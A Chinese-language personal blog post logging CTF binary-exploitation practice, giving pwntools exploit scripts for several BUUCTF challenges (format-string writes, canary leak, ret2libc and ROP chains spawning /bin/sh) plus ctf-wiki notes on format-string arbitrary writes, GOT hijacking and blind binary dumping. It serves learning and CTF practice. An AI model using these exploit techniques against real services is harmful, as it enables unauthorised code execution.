pwn学习(二)

今天主要刷了点题,学到个格式化字符串泄漏cancary
fm

from pwn import *
#p = process('./main')
p = remote('node3.buuoj.cn',28633)
payload = '%4c%13$n' + p32(0x804a02c)
p.send(payload)
#print(p.recv())
p.interactive()

格式化字符串覆盖小数字
jarvisoj_tell_me_something

from pwn import *
p = remote('node3.buuoj.cn',26141)
payload = 'a' * (0x88) + p64(0x400620)
p.send(payload)
p.interactive()

没什么特别的就是基本rop
jarvisoj_level4

from pwn import *

p = remote('node3.buuoj.cn',26167)
elf = ELF('./main')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

payload1 = 'a' *(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.send(payload1)
sh = u32(p.recv(4))
print(hex(sh))
libcbase = sh - libc.sym['write']
sym_addr = libcbase + libc.sym['system']
sh_addr =  libcbase + libc.search('/bin/sh').next()
payload2 = 'a' *(0x88+4) + p32(sym_addr)  + p32(main_addr) + p32(sh_addr)
p.send(payload2)

p.interactive()

bjdctf_2020_babystack2

```from pwn import *
p = process('./main')
p = remote('node3.buuoj.cn',25899)
p.recvuntil('name:')
p.sendline('-1')
back_door = 0x400726
payload = 'a' * (0x10+8) + p64(back_door)
p.send(payload)
p.interactive()

jarvisoj_level3_x64

from pwn import *
p =process('./main')
libc =ELF('./libc6_2.23-0ubuntu10_amd64.so')
p = remote('node3.buuoj.cn',25740)
elf =ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
pop_rdi_addr = 0x4006b3
pop_rsi_addr = 0x4006b1
p.recvuntil(':\n')
#gdb.attach(p)
payload = 'a' *(0x80+8) + p64(pop_rdi_addr) + p64(1)+p64(pop_rsi_addr) + p64(write_got)+p64(8)+p64(write_plt) + p64(main_addr)
p.send(payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(leak))
libcbase = leak - libc.sym['write']
sym_addr = libcbase + libc.sym['system']
sh_addr = libcbase + libc.search('/bin/sh').next()
payload1 = 'a' *(0x80+8) + p64(pop_rdi_addr) + p64(sh_addr) + p64(sym_addr)
p.send(payload1)

p.interactive()

记住64位传参rdi rsi rdx…老是压栈艾。。。
picoctf_2018_rop chain
正如标题所说。。

from pwn import *
p = process('./main')
p = remote('node3.buuoj.cn',28603)
elf = ELF('./main')
w1_addr = 0x80485cb
w2_addr = 0x80485d8
flag_addr = 0x804862b
#gdb.attach(p)
main_addr = 0x8048714
payload = 'a'*(0x18+4) +p32(w1_addr) + p32(main_addr)
p.recvuntil('input> ')
p.sendline(payload)
payload2 = 'a'*(0x18 + 4) + p32(w2_addr) + p32(main_addr) + p32(0xbaaaaaad)
p.recvuntil('input> ')
p.sendline(payload2)
payload3 = 'a'*(0x18+4) + p32(flag_addr) + p32(main_addr) + p32(0xdeadbaad)
p.recvuntil('input> ')
p.sendline(payload3)
p.interactive()

bjdctf_2020_babyrop2
这道题让我学到很多
首先什么是canary保护,就是rbp前的一个数xor不为0就是栈溢出,而格式化字符串可以泄露这个数因此栈溢出

from pwn import *
p = remote('node3.buuoj.cn',29729)
#p = process('./main')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
elf = ELF('./main')
put_plt = elf.plt['puts']
put_got = elf.got['puts']
addr = 0x400887
payload = '%7$p'
p.recvuntil('help u!')
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print(hex(canary))
p.recvuntil('story!')
payload1 = p64(canary).rjust(0x20,'a')+'b'*8+p64(0x400993)+p64(put_got)+p64(put_plt) +p64(addr) 
p.send(payload1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(leak))
libcbase = leak - libc.sym['puts']
sym_addr = libcbase + libc.sym['system']
sh_addr = libcbase + libc.search('/bin/sh').next()
payload2 = p64(canary).rjust(0x20,'a')+'b'*8+p64(0x400993)+p64(sh_addr)+p64(sym_addr) + p64(addr)
p.send(payload2)
p.interactive()
p.interactive()

ctf-wiki学习
利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
利用%s来获取变量所对应地址的内容,只不过有零截断。
利用%order x 来 获 取 指 定 参 数 的 值 , 利 用 x来获取指定参数的值,利用%order xs来获取指定参数对应地址的内容
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
覆盖内存

...[overwrite addr]....%[overwrite offset]$n

覆盖小数字

aa%k$nxx+地址

覆盖大数字

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

64位程序格式化字符串漏洞

感觉和32位没啥区别,只不过由于是寄存器传参gdb下调试后的位移加5
hijack GOT
这个之前做过,那时还不会。忘记是哪道题了,草。。



确定函数 A 的 GOT 表地址。

    这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。

确定函数 B 的内存地址

    这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。

将函数B的内存地址写入到函数 A 的 GOT 表地址处。

    这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
        写入函数:write 函数。
        ROP
        格式化字符串任意地址写

hijack retaddr

确定偏移
获取函数的 rbp 与返回地址
根据相对偏移获取存储返回地址的地址
将执行 system 函数调用的地址写入到存储返回地址的地址。

堆的没学还不会,之后在说
格式化字符串盲打

确定程序的位数
确定漏洞位置
利用
##coding=utf8
from pwn import *

##context.log_level = 'debug'
ip = "127.0.0.1"
port = 9999


def leak(addr):
    # leak addr for three times
    num = 0
    while num < 3:
        try:
            print 'leak addr: ' + hex(addr)
            sh = remote(ip, port)
            payload = '%00008$s' + 'STARTEND' + p64(addr)
            # 说明有\n,出现新的一行
            if '\x0a' in payload:
                return None
            sh.sendline(payload)
            data = sh.recvuntil('STARTEND', drop=True)
            sh.close()
            return data
        except Exception:
            num += 1
            continue
    return None

def getbinary():
    addr = 0x400000
    f = open('binary', 'w')
    while addr < 0x401000:
        data = leak(addr)
        if data is None:
            f.write('\xff')
            addr += 1
        elif len(data) == 0:
            f.write('\x00')
            addr += 1
        else:
            f.write(data)
            addr += len(data)
    f.close()
getbinary()

ctf-wiki给的很多

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值